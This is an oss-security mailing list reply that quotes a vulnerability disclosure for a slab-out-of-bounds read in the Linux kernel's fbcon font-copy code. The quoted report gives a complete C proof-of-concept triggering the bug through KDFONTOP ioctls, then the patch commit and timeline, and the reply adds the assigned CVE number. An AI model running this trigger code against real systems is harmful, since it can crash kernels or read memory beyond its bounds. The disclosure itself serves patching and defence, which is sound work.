[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <0decfd9b-69ed-8acc-2a1d-9bffa5429589@csail.mit.edu>
Date: Tue, 24 Nov 2020 22:23:24 -0800
From: "Srivatsa S. Bhat" <srivatsa@...il.mit.edu>
To: oss-security@...ts.openwall.com, Minh Yuan <yuanmingbuaa@...il.com>
Subject: Re: Linux kernel slab-out-of-bounds Read in fbcon
On 11/9/20 6:41 AM, Minh Yuan wrote:
> Hi,
>
> We recently discovered a slab-out-of-bounds read in fbcon in the latest
> kernel ( v5.10-rc2 for now).
>
> The root cause of this vulnerability is that "fbcon_copy_font" did not
> handle "vc->vc_font.data" and "vc->vc_font.height" consistently. However,
> the patch <https://lkml.org/lkml/2020/9/27/223> for VT_RESIZEX and the patch
> <https://lkml.org/lkml/2020/9/24/720> for fbcon_get_font() can't handle
> this issue.
>
> This is my PoC (it needs the privilege to access tty to trigger this bug):
>
> // author by ziiiro@THU
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <sys/ioctl.h>
> #include <fcntl.h>
> #include <linux/fb.h>
> #include <linux/vt.h>
> #include <linux/kd.h>
> #include <string.h>
>
> int main(int argc, char** argv)
> {
> struct console_font_op op;
> struct consolefontdesc cfdarg;
> void *addr = malloc(0x100);
> memset(addr,'a',0x100);
> int fd1 = open("/dev/tty1", O_RDWR, 0);
> int fd2 = open("/dev/tty6", O_RDWR, 0);
> op.op = KD_FONT_OP_SET;
> op.width = 8;
> op.height = 1;
> op.data = addr;
> op.charcount = 0x100;
> // alloc a samll font.data
> ioctl(fd2,KDFONTOP,&op);
> op.height = 0x20;
> // set a large font.height
> ioctl(fd1, KDFONTOP, &op);
> op.op = KD_FONT_OP_COPY;
> // access tty6's font
> op.height = 5;
> // use a larger height (tty1) to access the small font.data (tty6)
> ioctl(fd1,KDFONTOP,&op);
> }
>
> The patch for this bug is available: commit
> 3c4e0dff2095c579b142d5a0693257f1c58b4804 (
> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3c4e0dff2095c579b142d5a0693257f1c58b4804
> )
>
> Timeline:
> * 6/11/20 - Vulnerability reported to security@...nel.org and
> linux-distros@...openwall.org.
> * 9/11/20 - Vulnerability patched.
> * 9/11/20 - Vulnerability public.
>
> Regards,
>
> Yuan Ming from Tsinghua University
>
It looks like CVE-2020-28974 has been assigned for this issue.
https://nvd.nist.gov/vuln/detail/CVE-2020-28974
Regards,
Srivatsa
VMware Photon OS
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
